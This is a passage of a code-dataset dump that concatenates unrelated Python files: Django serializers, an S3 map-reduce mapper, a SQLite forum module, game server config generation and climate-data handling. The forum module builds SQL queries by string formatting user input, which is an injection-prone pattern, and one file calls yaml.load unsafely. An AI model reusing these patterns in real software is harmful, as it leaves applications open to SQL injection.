get_samples_and_readunits_from_cfgfile(args.sample_cfg)\n #else:\n # if not all([args.fq1, args.sample]):\n # logger.fatal(\"Need at least fq1 and sample without config file\")\n # sys.exit(1)\n #\n # readunits = get_readunits_from_args(args.fq1, args.fq2)\n # # all readunits go into this one sample specified on the command-line\n # samples = dict()\n # samples[args.sample] = list(readunits.keys())\n #\n #if args.seqtype in ['WES', 'targeted']:\n # if not args.bed:\n # logger.fatal(\"Analysis of exome and targeted sequence runs requires a bed file\")\n # sys.exit(1)\n # else:\n # if not os.path.exists(args.bed):\n # logger.fatal(\"Bed file %s does not exist\", args.sample_cfg)\n # sys.exit(1)\n # logger.warning(\"Compatilibity between bed file and\"\n # \" reference not checked\")# FIXME\n\n with open(args.prev_cfg, 'r') as stream:\n try:\n prev_cfg = yaml.load(stream)\n except yaml.YAMLError as exc:\n logger.fatal(\"Error loading %s\", REST_CFG)\n raise\n #import pdb; pdb.set_trace()\n #sys.stderr.write(\"TMP DEBUG {}\\n\".format(prev_cfg))\n \n # turn arguments into user_data that gets merged into pipeline config\n #\n # generic data first\n user_data = dict()\n user_data['mail_on_completion'] = not args.no_mail\n #user_data['readunits'] = prev_cfg['readunits'] \n user_data['readunits'] = dict()# None won't work\n #user_data['samples'] = samples\n user_data['samples'] = prev_cfg['samples']\n if args.name:\n user_data['analysis_name'] = args.name\n #user_data['seqtype'] = args.seqtype\n user_data['seqtype'] = 'WGS'# SG10K\n #user_data['intervals'] = args.bed# always safe, might be used for WGS as well\n user_data['intervals'] = None#SG10K\n user_data['mark_dups'] = None# SG10K doesn't matter\n user_data['precalc_bam_dir'] = os.path.join(\n os.path.abspath(os.path.dirname(args.prev_cfg)), \"out\")\n\n pipeline_handler = PipelineHandler(\n PIPELINE_NAME, PIPELINE_BASEDIR,\n args.outdir, user_data, site=site,\n master_q=args.master_q,\n slave_q=args.slave_q,\n params_cfgfile=args.params_cfg,\n modules_cfgfile=args.modules_cfg,\n refs_cfgfile=args.references_cfg,\n cluster_cfgfile=get_cluster_cfgfile(CFG_DIR))\n pipeline_handler.setup_env()\n pipeline_handler.submit(args.no_run)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"custom/SG10K/bam2gvcf/bam2gvcf.py","file_name":"bam2gvcf.py","file_ext":"py","file_size_in_byte":8595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"263869481","text":"from rest_framework import serializers\nfrom django.contrib.auth import get_user_model\nfrom community.models import Article, Movie, Genre, Comment\nUser = get_user_model()\n\nclass UserSerializer(serializers.ModelSerializer):\n class Meta:\n model = User\n fields = ['id','username','age']\n\nclass GenreSerializer(serializers.ModelSerializer):\n class Meta:\n model = Genre\n fields = '__all__'\n\nclass MovieRelatedArticleSerializer(serializers.ModelSerializer):\n genres = GenreSerializer(many=True)\n class Meta:\n model = Movie\n fields = ['id', 'genres', 'title', 'popularity', 'vote_count', 'vote_average', 'adult']\n\nclass CommentsRelatedArticleSerializer(serializers.ModelSerializer):\n user = UserSerializer(required=False)\n class Meta:\n model = Comment\n fields = ['id', 'user', 'content', 'created_at', ]\n\nclass ArticleListSerializer(serializers.ModelSerializer):\n user = UserSerializer()\n movie = MovieRelatedArticleSerializer()\n comments = CommentsRelatedArticleSerializer(many=True)\n like_users = UserSerializer(many=True)\n class Meta:\n model = Article\n fields = ['id', 'movie', 'user', 'title', 'content', 'rank', 'created_at', 'updated_at', 'like_users', 'comments']\n\n\nclass UserArticleSerializer(UserSerializer):\n articles = ArticleListSerializer(many=True)\n like_articles = ArticleListSerializer(many=True)\n comments = CommentsRelatedArticleSerializer(many=True)\n class Meta(UserSerializer.Meta):\n fields = UserSerializer.Meta.fields + ['articles', 'like_articles', 'comments']\n\n","sub_path":"BackEnd/accounts/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"197518300","text":"'''\nPython mapper function\n\n* Copyright 2016, Amazon.com, Inc. or its affiliates. All Rights Reserved.\n*\n* Licensed under the Amazon Software License (the \"License\").\n* You may not use this file except in compliance with the License.\n* A copy of the License is located at\n*\n* http://aws.amazon.com/asl/\n*\n* or in the \"license\" file accompanying this file. This file is distributed\n* on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n* express or implied. See the License for the specific language governing\n* permissions and limitations under the License. \n'''\n\nimport boto3\nimport json\nimport random\nimport resource\nfrom io import StringIO\nimport time\nimport logging\n\n# create an S3 session\ns3 = boto3.resource('s3')\ns3_client = boto3.client('s3')\n\n# constants\nTASK_MAPPER_PREFIX = \"task/mapper/\";\n\ndef write_to_s3(bucket, key, data, metadata):\n s3.Bucket(bucket).put_object(Key=key, Body=data, Metadata=metadata)\n\ndef handler(event, context):\n \n start_time = time.time()\n\n job_bucket = event['jobBucket']\n src_bucket = event['bucket']\n src_keys = event['keys']\n job_id = event['jobId']\n mapper_id = event['mapperId']\n \n # aggr \n output = {}\n line_count = 0\n err = ''\n\n # INPUT CSV => OUTPUT JSON\n\n # Download and process all keys\n for key in src_keys:\n response = s3_client.get_object(Bucket=src_bucket,Key=key)\n contents = response['Body'].read()\n \n for line in contents.split(b'\\n')[:-1]:\n line_count +=1\n try:\n data = line.split(b',')\n srcIp = str(data[0][:8])\n if srcIp not in output:\n output[srcIp] = 0\n output[srcIp] += float(data[3])\n except Exception as e:\n print(e)\n #err += '%s' % e\n\n time_in_secs = (time.time() - start_time)\n #timeTaken = time_in_secs * 1000000000 # in 10^9 \n #s3DownloadTime = 0\n #totalProcessingTime = 0 \n pret = [len(src_keys), line_count, time_in_secs, err]\n mapper_fname = \"%s/%s%s\" % (job_id, TASK_MAPPER_PREFIX, mapper_id) \n metadata = {\n \"linecount\": '%s' % line_count,\n \"processingtime\": '%s' % time_in_secs,\n \"memoryUsage\": '%s' % resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\n }\n\n print(\"metadata\", metadata)\n print(\"mapper_fname\", mapper_fname)\n write_to_s3(job_bucket, mapper_fname, json.dumps(output), metadata)\n return pret\n\n'''\nev = {\n \"bucket\": \"-useast-1\", \n \"keys\": [\"key.sample\"],\n \"jobId\": \"pyjob\",\n \"mapperId\": 1,\n \"jobBucket\": \"-useast-1\"\n }\nlambda_handler(ev, {});\n'''\n","sub_path":"gammaRay/apps/map-reduce/mapper.py","file_name":"mapper.py","file_ext":"py","file_size_in_byte":2687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"119087962","text":"import os\nimport numpy as np\nfrom utils import create_nn_args\nfrom threading import Thread\nfrom time import sleep\nfrom train_classifier import main\n\n\nmax_tests = 1000\nnum_tests = max_tests\nseen = {}\nthreads = []\nmax_threads = 1\ncurr_device = 0\n\ndef check_threads(threads):\n\tcount = 0\n\tfor i in reversed(range(len(threads))):\n\t\tif not threads[i].is_alive():\n\t\t\tdel threads[i]\n\t\t\tcount += 1\n\t\n\treturn count\n\nprint(\"Starting threads\")\n\nfor i in range(max_threads):\n\tnew_args = create_nn_args()\n\twhile str(new_args) in seen:\n\t\tnew_args = create_nn_args()\n\n\tseen[str(new_args)] = True\n\tthreads.append(Thread(target=main, args=new_args))\n\tthreads[-1].start()\n\t\n\tnum_tests-=1\n\t\n\t\n\nprint(\"Finished starting threads, will spawn more as they die\")\nwhile(num_tests > 0):\n\tsleep(15)\n\tcount = check_threads(threads)\n\tif count > 0:\n\t\tfor i in range(count):\n\t\t\tif num_tests == 0: break\n\t\t\tnew_args = create_nn_args()\n\t\t\twhile str(new_args) in seen:\n\t\t\t\tnew_args = create_nn_args()\n\n\t\t\tseen[str(new_args)] = True\n\t\t\tthreads.append(Thread(target=main, args=new_args))\n\t\t\tprint(\"Starting thread\")\n\t\t\tthreads[-1].start()\n\t\t\tnum_tests-=1\n\telse:\n\t\tcontinue\n\t\t\nfor device in threads:\n\tfor t in threads[device]:\n\t\tt.join()","sub_path":"training/execute_classifier.py","file_name":"execute_classifier.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"203825095","text":"import sqlite3\nimport globals as global_var\nimport users\nimport programs\n\nconn = sqlite3.connect(\"SPUniversity/databases/forums.db\")\nc = conn.cursor()\nconn.row_factory = global_var.dict_factory\nc_dict = conn.cursor()\n\n\ndef get_question_headers(course):\n statement = \"SELECT id, student, course, title, time FROM questions WHERE course='{}' ORDER BY time DESC\".format(course)\n c_dict.execute(statement)\n val = c_dict.fetchall()\n val = set_student(val)\n return val\n\n\ndef get_question(post_id):\n statement = \"SELECT * FROM questions WHERE id='{}'\".format(post_id)\n c_dict.execute(statement)\n return set_student(c_dict.fetchone())\n\n\ndef get_answers(post_id):\n statement = \"SELECT * FROM responses WHERE question='{}'\".format(post_id)\n c_dict.execute(statement)\n return set_student(c_dict.fetchall())\n\n\ndef add_answer(post_id, student_id, text):\n statement = \"INSERT INTO responses (question, student, text) VALUES ('{}', '{}', '{}')\".format(post_id, student_id, text.replace(\"'\", '\"'))\n c.execute(statement)\n conn.commit()\n\n\ndef new_question(student_id, course, title, body):\n statement = \"INSERT INTO questions (student, course, title, body) VALUES ('{}', '{}', '{}', '{}')\".format(student_id, course, title, body.replace(\"'\", '\"'))\n c.execute(statement)\n conn.commit()\n return c.lastrowid\n\n\ndef report(question_id, mode=\"questions\"):\n statement = \"UPDATE {} SET reports=reports+1 WHERE id='{}'\".format(mode, question_id)\n c.execute(statement)\n conn.commit()\n\n\ndef get_report():\n report = {}\n # number of forums\n statement = \"SELECT COUNT(*) FROM questions\"\n report[\"forums\"] = select(statement)[0][0]\n\n # top 3\n statement = \"SELECT course FROM questions GROUP BY course ORDER BY COUNT(*) DESC LIMIT 3;\"\n courses = select(statement)\n for c in range(len(courses)):\n courses[c] = programs.get_course_info(courses[c][0])[\"name\"]\n report[\"commonCourses\"] = courses\n\n # min/max/avg responses\n statement = \"\"\"\n SELECT MIN(myNumber), MAX(myNumber), AVG(myNumber)\n FROM (SELECT question, COUNT(question) AS MyNumber\n FROM responses\n GROUP BY question) TMP;\n \"\"\"\n report[\"min\"], report[\"max\"], report[\"avg\"] = select(statement)[0]\n\n # average reports\n statement = \"select avg(reports), (select avg(reports) from questions) from responses\"\n report[\"responseReports\"], report[\"questionReports\"], = select(statement)[0]\n return report\n\n\ndef select(query):\n c.execute(query)\n return c.fetchall()\n\n\ndef get_reported(sensitivity, mode=\"questions\"):\n statement = \"SELECT * FROM {} WHERE reports >= {} ORDER BY reports DESC\".format(mode, sensitivity)\n c_dict.execute(statement)\n return c_dict.fetchall()\n\n\ndef delete(item_id, mode=\"questions\"):\n statement = \"DELETE FROM {} WHERE id='{}'\".format(mode, item_id)\n c.execute(statement)\n conn.commit()\n\n\ndef pardon(item_id, mode=\"questions\"):\n statement = \"UPDATE {} SET reports=0 WHERE id='{}'\".format(mode, item_id)\n c.execute(statement)\n conn.commit()\n\n\ndef set_student(val):\n if val is None:\n return []\n one_d = False\n if type(val) is dict:\n one_d = True\n val = [val]\n for i in range(len(val)):\n val[i][\"student\"] = users.get_student_info(val[i][\"student\"])\n\n if one_d:\n return val[0]\n return val\n","sub_path":"forums.py","file_name":"forums.py","file_ext":"py","file_size_in_byte":3360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"124189575","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\n\nimport os \nimport cPickle\nimport numpy as np\nimport pdb\n\nimport tensor_toolbox.data.base.data_base as db\n\nCIFAR_IMG_HEIGHT = 32\nCIFAR_IMG_WIDTH = 32\nCIFAR_IMG_DEPTH = 3\n\n\n\ndef unpickle(file):\n fo = open(file, 'rb')\n dict = cPickle.load(fo)\n fo.close()\n return dict\n\ndef cifar_data_to_img(row_data):\n return row_data.reshape(3,32,32).transpose(1,2,0)\n \ndef cifar_imgs_to_TFRecord(images, labels, store_dir, name):\n num_examples = images.shape[0]\n filename = os.path.join(store_dir, name + '.tfrecords')\n print('Writing', filename)\n writer = tf.python_io.TFRecordWriter(filename)\n for index in range(num_examples):\n in_img = cifar_data_to_img(images[index])\n example = db.img_to_tf_record_example(in_img, labels[index])\n writer.write(example.SerializeToString())\n if index % 100 == 0:\n print(' Writing ', index)\n writer.close()\n \n\n\n","sub_path":"data/cifar/cifar_base.py","file_name":"cifar_base.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"465758434","text":"\n\nfrom xai.brain.wordbase.nouns._caboose import _CABOOSE\n\n#calss header\nclass _CABOOSES(_CABOOSE, ):\n\tdef __init__(self,): \n\t\t_CABOOSE.__init__(self)\n\t\tself.name = \"CABOOSES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"caboose\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_cabooses.py","file_name":"_cabooses.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"143624228","text":"#!/usr/bin/python3\nimport os\nimport inspect\nimport argparse\n\nimport tw\n\n\nexcludes = ('src', )\n\nsmallcaps = {'a':'ᴀ', 'b':'ʙ', 'd':'ᴅ', 'e':'ᴇ', 'f':'ꜰ', 'g':'ɢ', 'h':'ʜ', 'i':'ɪ',\n 'j':'ᴊ', 'k':'ᴋ', 'l':'ʟ', 'm':'ᴍ', 'n':'ɴ', 'p':'ᴘ', 'q':'ǫ', 'r':'ʀ',\n 't':'ᴛ', 'u':'ᴜ', 'y':'ʏ'}\ndef conv_smallcaps(text):\n for org, new in smallcaps.items():\n text = text.replace(org, new)\n return text\n\ndef escape(text):\n return text.replace('\\\\', '\\\\\\\\').replace('\"', '\\\\\"')\n\n\nclass Config:\n\n def __init__(self, path):\n self._cfg = open(path, 'w')\n self._path = path\n self._head()\n\n def __del__(self):\n self._foot()\n self._cfg.close()\n\n def write(self, text):\n self._cfg.write(text)\n\n\n def _command(self, cmd, *args):\n self.write(cmd + ' ' + ' '.join(['\"' + escape(arg) + '\"' for arg in args]) + '\\n')\n\n def _vote(self, text, cmd=None):\n if cmd == None:\n cmd = 'sv_high_bandwidth 0'\n self._command('add_vote', text, cmd)\n\n def _content(self, text, cmd=None):\n self._vote('│ ' + text, cmd)\n\n def _head(self):\n pass\n\n _wrote_welcome = False\n def _welcome(self):\n self._content('Welcome to Unique,')\n self._content('visit uniqueclan.net!')\n self._vote('╰───────────────────╯')\n self._wrote_welcome = True\n\n _blank_space = 1\n def _blank(self):\n self._vote(' '*self._blank_space)\n self._blank_space += 1\n\n _wrote_heading = False\n def heading(self, text):\n if not self._wrote_welcome: self._welcome()\n if self._wrote_heading: self._heading_end()\n self._blank()\n self._vote('╭──┤ ' + conv_smallcaps(text))\n self._wrote_heading = True\n\n def comment(self, text):\n self._content(text)\n\n def option(self, text, cmd):\n self._content('• ' + text, cmd)\n\n def switch(self, text, cmd, state=False):\n self._content(('☑' if state else '☐') + ' ' + text, cmd)\n\n def chmap(self, mapname, *mappers):\n self.option(os.path.basename(mapname) + (' by ' + ', '.join(mappers[:-1]) + (' & ' if len(mappers) > 1 else '') + mappers[-1] if mappers else ''), 'change_map ' + mapname)\n\n def findmaps(self, mapdir, mappath):\n if not os.path.isdir(mapdir):\n return\n for filename in sorted(os.listdir(mapdir)):\n self.chmap(os.path.join(mappath, filename[:-4]))\n\n def sqlserver(self, prefix, create_tables='0'):\n for use in ('r', 'w'):\n self._command('add_sqlserver', use, tw.config['sql']['database'], prefix, tw.config['sql']['user'], tw.config['sql']['password'], tw.config['sql']['ip'], tw.config['sql']['port'], create_tables)\n\n def sqlservername(self):\n self._command('sv_sql_servername', tw.config['location'])\n\n def name(self, gametype):\n self._command('sv_name', 'Unique ' + tw.config['location'] + ' - ' + gametype)\n\n def ban(self, ip):\n self._command('ban', ip, '0')\n\n def passwd(self, pwtype, name):\n if pwtype == 'access':\n self._command('password', tw.passwords[name])\n elif pwtype == 'rcon':\n self._command('sv_rcon_password', tw.passwords[name])\n elif pwtype == 'helper':\n self._command('sv_rcon_helper_password', tw.passwords[name])\n elif pwtype == 'econ':\n self._command('ec_password', tw.passwords[name])\n\n _heading_end_space = 0\n def _heading_end(self):\n self._vote('╰──┤' + ' '*self._heading_end_space)\n self._heading_end_space += 1\n\n def _foot(self):\n if self._wrote_heading: self._heading_end()\n\ndef handle_template(path):\n cfg_path = path[:-5]\n with open(path) as cont:\n cfg = Config(cfg_path)\n for line in cont:\n if line[0] == '@':\n part = ''\n parts = []\n escape = False\n for c in line[1:-1]:\n if c == '\\\\' and not escape:\n escape = True\n elif c == '|' and not escape:\n parts.append(part)\n part = ''\n else:\n escape = False\n part += c\n parts.append(part)\n name = parts[0]\n args = parts[1:]\n if not name.startswith('_') and hasattr(cfg, name):\n function = getattr(cfg, name)\n minnum = 0\n maxnum = 0\n for para in inspect.signature(function).parameters.values():\n if para.kind == inspect.Parameter.POSITIONAL_OR_KEYWORD:\n if para.default == inspect.Parameter.empty:\n minnum += 1\n maxnum += 1\n elif para.kind == inspect.Parameter.VAR_POSITIONAL:\n maxnum = float('inf')\n if minnum <= len(args) <= maxnum:\n function(*args)\n else:\n print(\"{}: Command '{}' expected {} to {} arguments\".format(path, name, minnum, maxnum))\n else:\n print(\"{}: Unknown command '{}'\".format(path, name))\n else:\n cfg.write(line)\n\n\ndef excluded(path):\n for exclude in excludes:\n if path == os.path.join(tw.basedir, exclude):\n return True\n return False\n\ndef search(path):\n if excluded(path):\n return\n files = os.listdir(path)\n for f in files:\n f = os.path.join(path, f)\n if os.path.isdir(f):\n search(f)\n elif os.path.isfile(f):\n if f.endswith('.cfg.tmpl'):\n handle_template(f)\n\nprint(\"Building config\")\n\nsearch(tw.basedir)\n","sub_path":"build_config.py","file_name":"build_config.py","file_ext":"py","file_size_in_byte":5941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"395705171","text":"USAGE = \"\"\"\n\nCreate shapefile of Cube network.\n\nFor now, this only does the roadway network; transit networks is a todo.\n\n\"\"\"\n\nimport argparse, csv, logging, os, subprocess, sys, traceback\nimport numpy, pandas\n\nRUNTPP_PATH = \"C:\\\\Program Files (x86)\\\\Citilabs\\\\CubeVoyager\"\nLOG_FILE = \"cube_to_shapefile.log\"\n\n# shapefiles\nNODE_SHPFILE = \"network_nodes.shp\"\nLINK_SHPFILE = \"network_links.shp\"\n\ndef runCubeScript(workingdir, script_filename, script_env):\n \"\"\"\n Run the cube script specified in the workingdir specified.\n Returns the return code.\n \"\"\"\n # run it\n proc = subprocess.Popen(\"{0} {1}\".format(os.path.join(RUNTPP_PATH,\"runtpp\"), script_filename), \n cwd=workingdir, env=script_env,\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n for line in proc.stdout:\n line_str = line.decode(\"utf-8\")\n line_str = line_str.strip('\\r\\n')\n logging.info(\" stdout: {0}\".format(line_str))\n for line in proc.stderr:\n line_str = line.decode(\"utf-8\")\n line_str = line_str.strip('\\r\\n')\n logging.info(\" stderr: {0}\".format(line_str))\n retcode = proc.wait()\n if retcode == 2:\n raise Exception(\"Failed to run Cube script %s\" % (script_filename))\n logging.info(\" Received {0} from 'runtpp {1}'\".format(retcode, script_filename))\n\n# from maz_taz_checker.py, I am sorry. Library?!\ndef rename_fields(input_feature, output_feature, old_to_new):\n \"\"\"\n Renames specified fields in input feature class/table\n old_to_new: {old_field: [new_field, new_alias]}\n \"\"\"\n field_mappings = arcpy.FieldMappings()\n field_mappings.addTable(input_feature)\n\n for (old_field_name, new_list) in old_to_new.items():\n mapping_index = field_mappings.findFieldMapIndex(old_field_name)\n if mapping_index < 0:\n message = \"Field: {0} not in {1}\".format(old_field_name, input_feature)\n raise Exception(message)\n\n field_map = field_mappings.fieldMappings[mapping_index]\n output_field = field_map.outputField\n output_field.name = new_list[0]\n output_field.aliasName = new_list[1]\n field_map.outputField = output_field\n field_mappings.replaceFieldMap(mapping_index, field_map)\n\n # use merge with single input just to use new field_mappings\n arcpy.Merge_management(input_feature, output_feature, field_mappings)\n return output_feature\n\nif __name__ == '__main__':\n\n # assume code dir is where this script is\n CODE_DIR = os.path.dirname(os.path.realpath(__file__))\n WORKING_DIR = os.getcwd()\n\n # create logger\n logger = logging.getLogger()\n logger.setLevel(logging.DEBUG)\n # console handler\n ch = logging.StreamHandler()\n ch.setLevel(logging.INFO)\n ch.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p'))\n logger.addHandler(ch)\n # file handler\n fh = logging.FileHandler(LOG_FILE, mode='w')\n fh.setLevel(logging.DEBUG)\n fh.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p'))\n logger.addHandler(fh)\n\n parser = argparse.ArgumentParser(description=USAGE, formatter_class=argparse.RawDescriptionHelpFormatter,)\n parser.add_argument(\"netfile\", metavar=\"network.net\", nargs=1, help=\"Cube input roadway network file\")\n parser.add_argument(\"linefile\", metavar=\"transit.lin\", nargs=1, help=\"Cube input transit line file\")\n args = parser.parse_args()\n\n # setup the environment\n script_env = os.environ.copy()\n script_env[\"PATH\"] = \"{0};{1}\".format(script_env[\"PATH\"],RUNTPP_PATH)\n script_env[\"LINE_INFILE\"] = args.linefile[0]\n script_env[\"NET_INFILE\"] = args.netfile[0]\n script_env[\"NODE_OUTFILE\"] = NODE_SHPFILE\n script_env[\"LINK_OUTFILE\"] = LINK_SHPFILE\n\n # run the script to do the work\n runCubeScript(WORKING_DIR, os.path.join(CODE_DIR, \"export_network.job\"), script_env)\n\n # MakeXYEventLayer_management\n import arcpy\n arcpy.env.workspace = WORKING_DIR\n\n # define the spatial reference\n sr = arcpy.SpatialReference(102646)\n arcpy.DefineProjection_management(NODE_SHPFILE, sr)\n arcpy.DefineProjection_management(LINK_SHPFILE, sr)\n\n","sub_path":"utilities/cube_to_shapefile.py","file_name":"cube_to_shapefile.py","file_ext":"py","file_size_in_byte":4323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"424135554","text":"# To input any character and check whether it is alphabet, digit or special character.\r\n\r\ndef check_character(c):\r\n if c.isalpha():\r\n print(c, \" is an alphabet.\")\r\n elif c.isdigit():\r\n print(c, \" is a number.\")\r\n else:\r\n print(c, \" is a special character\" )\r\n\r\n\r\na = input(\"Enter a character : \")[0]\r\ncheck_character(a)","sub_path":"Task9.6.py","file_name":"Task9.6.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"253635485","text":"#! /usr/bin/env python\n\nimport cdms2\nimport cwt\nimport hashlib\nimport json\nimport math\nfrom celery.utils.log import get_task_logger\n\nfrom wps import models\nfrom wps import settings\nfrom wps.tasks import base\n\n__ALL__ = [\n 'DataSet',\n 'DataSetCollection',\n 'FileManager',\n]\n\nlogger = get_task_logger('wps.tasks.file_manager')\n\nclass DomainMappingError(base.WPSError):\n def __init__(self):\n super(DomainMappingError, self).__init__('Error mapping domain')\n\nclass DataSet(object):\n def __init__(self, variable):\n self.file_obj = None\n\n self.url = variable.uri\n\n self.variable_name = variable.var_name\n\n self.variable = None\n\n self.temporal_axis = None\n\n self.spatial_axis = {}\n\n self.temporal = None\n\n self.spatial = {}\n\n def __eq__(self, other):\n if not isinstance(other, DataSet):\n return False\n\n return self.variable_name == other.variable_name\n\n def __del__(self):\n self.close()\n\n def __repr__(self):\n return 'DataSet(url={url}, variable_name={variable_name}, temporal_roi={temporal}, spatial_roi={spatial})'.format(\n url=self.url,\n variable_name=self.variable_name,\n temporal=self.temporal,\n spatial=self.spatial\n )\n\n def get_time(self):\n if self.temporal_axis is None:\n try:\n self.temporal_axis = self.get_variable().getTime()\n except cdms2.CDMSError as e:\n raise base.AccessError(self.url, e.message)\n\n return self.temporal_axis\n\n def get_axis(self, name):\n if self.temporal_axis is not None and self.temporal_axis.id == name:\n return self.temporal_axis\n\n if name in self.spatial_axis:\n return self.spatial_axis[name]\n\n axis_index = self.get_variable().getAxisIndex(name)\n\n if axis_index == -1:\n raise base.WPSError('Axis \"{name}\" does not exist', name=name)\n\n axis = self.get_variable().getAxis(axis_index)\n\n if axis.isTime():\n self.temporal_axis = axis\n else:\n self.spatial_axis[name] = axis\n\n return axis\n\n def get_variable(self):\n if self.variable is None:\n if self.variable_name not in self.file_obj.variables:\n raise base.WPSError('File \"{url}\" does not contain variable \"{var_name}\"', url=self.file_obj.id, var_name=self.variable_name)\n\n self.variable = self.file_obj[self.variable_name]\n\n return self.variable\n\n def partitions(self, axis_name):\n axis = self.get_axis(axis_name)\n\n logger.debug('Generating partitions over axis %s', axis_name)\n\n if axis.isTime():\n if self.temporal is None:\n start = 0\n\n stop = axis.shape[0]\n elif isinstance(self.temporal, slice):\n start = self.temporal.start\n\n stop = self.temporal.stop\n\n diff = stop - start\n\n step = min(diff, settings.PARTITION_SIZE)\n\n for begin in xrange(start, stop, step):\n end = min(begin + step, stop)\n\n data = self.get_variable()(time=slice(begin, end), **self.spatial)\n\n yield data\n else:\n domain_axis = self.spatial.get(axis.id, None)\n\n if domain_axis is None:\n start = 0\n\n stop = axis.shape[0]\n else:\n start, stop = axis.mapInterval(domain_axis)\n\n diff = stop - start\n\n step = min(diff, settings.PARTITION_SIZE)\n\n for begin in xrange(start, stop, step):\n end = min(begin + step, stop)\n\n self.spatial[axis.id] = slice(begin, end)\n #self.spatial[axis_name] = slice(begin, end)\n #self.spatial[axis_name] = (begin, end)\n\n data = self.get_variable()(**self.spatial)\n #data = self.get_variable()(**{axis_name: slice(begin, end)})\n\n yield data\n\n def dimension_to_selector(self, dimension, axis, base_units=None):\n if dimension.crs == cwt.VALUES:\n start = dimension.start\n\n end = dimension.end\n\n if axis.isTime():\n axis_clone = axis.clone()\n\n axis_clone.toRelativeTime(base_units)\n\n try:\n start, end = axis_clone.mapInterval((start, end))\n except TypeError:\n raise DomainMappingError()\n else:\n selector = slice(start, end)\n else:\n selector = (start, end)\n elif dimension.crs == cwt.INDICES:\n n = axis.shape[0]\n\n selector = slice(dimension.start, min(dimension.end, n), dimension.step)\n\n dimension.start -= selector.start\n\n dimension.end -= (selector.stop - selector.start) + selector.start\n else:\n raise base.WPSError('Error handling CRS \"{name}\"', name=dimension.crs)\n\n return selector\n\n def map_domain(self, domain, base_units):\n logger.info('Mapping domain \"{}\"'.format(domain))\n\n variable = self.get_variable()\n\n if domain is None:\n if variable.getTime() == None:\n self.temporal = None\n else:\n time = variable.getTime()\n\n #self.temporal = (time[0], time[-1])\n self.temporal = slice(0, time.shape[0])\n #self.temporal = slice(0, variable.getTime().shape[0])\n\n axes = variable.getAxisList()\n\n for axis in axes:\n if axis.isTime():\n continue\n\n self.spatial[axis.id] = (axis[0], axis[-1])\n #self.spatial[axis.id] = slice(0, axis.shape[0])\n else:\n for dim in domain.dimensions:\n axis_index = variable.getAxisIndex(dim.name)\n\n if axis_index == -1:\n raise base.WPSError('Dimension \"{name}\" was not found in \"{url}\"', name=dim.name, url=self.url)\n\n axis = variable.getAxis(axis_index)\n\n if axis.isTime():\n self.temporal = self.dimension_to_selector(dim, axis, base_units)\n\n logger.info('Mapped temporal domain to \"{}\"'.format(self.temporal))\n else:\n self.spatial[axis.id] = self.dimension_to_selector(dim, axis)\n #self.spatial[dim.name] = self.dimension_to_selector(dim, axis)\n\n logger.info('Mapped spatial \"{}\" to \"{}\"'.format(axis.id, self.spatial[axis.id]))\n #logger.info('Mapped spatial \"{}\" to \"{}\"'.format(dim.name, self.spatial[dim.name]))\n\n def open(self):\n try:\n self.file_obj = cdms2.open(self.url)\n except cdms2.CDMSError as e:\n raise base.AccessError(self.url, e)\n\n def close(self):\n if self.variable is not None:\n del self.variable\n\n self.variable = None\n\n if self.temporal_axis is not None:\n del self.temporal_axis\n\n self.temporal_axis = None\n\n if len(self.spatial_axis) > 0:\n for name in self.spatial_axis.keys():\n del self.spatial_axis[name]\n\n self.spatial_axis = {}\n \n if self.file_obj is not None:\n self.file_obj.close()\n\n self.file_obj = None\n\nclass DataSetCollection(object):\n def __init__(self, datasets=None):\n if datasets is None:\n datasets = []\n\n self.datasets = datasets\n\n @classmethod\n def from_variables(cls, variables):\n datasets = [DataSet(x) for x in variables]\n\n return cls(datasets=datasets)\n\n def __enter__(self):\n for ds in self.datasets:\n ds.open()\n\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n for ds in self.datasets:\n ds.close()\n\n def add(self, variable):\n self.datasets.append(DataSet(variable))\n\n def get_base_units(self):\n return self.datasets[0].get_time().units\n\n def generate_dataset_domain(self, dataset):\n domain = {\n 'variable': dataset.variable_name,\n 'temporal': None,\n 'spatial': {}\n }\n\n if isinstance(dataset.temporal, (list, tuple)):\n indices = dataset.get_time().mapInterval(dataset.temporal)\n\n domain['temporal'] = slice(indices[0], indices[1])\n else:\n domain['temporal'] = dataset.temporal\n\n for name in dataset.spatial.keys():\n spatial = dataset.spatial[name]\n\n if isinstance(spatial, (list, tuple)):\n indices = dataset.get_axis(name).mapInterval(spatial)\n\n domain['spatial'][name] = slice(indices[0], indices[1])\n else:\n domain['spatial'][name] = spatial\n\n return domain\n\n def get_cache_entry(self, uid_hash, domain):\n cache_entries = models.Cache.objects.filter(uid=uid_hash)\n\n logger.info('Found \"{}\" cache entries matching hash 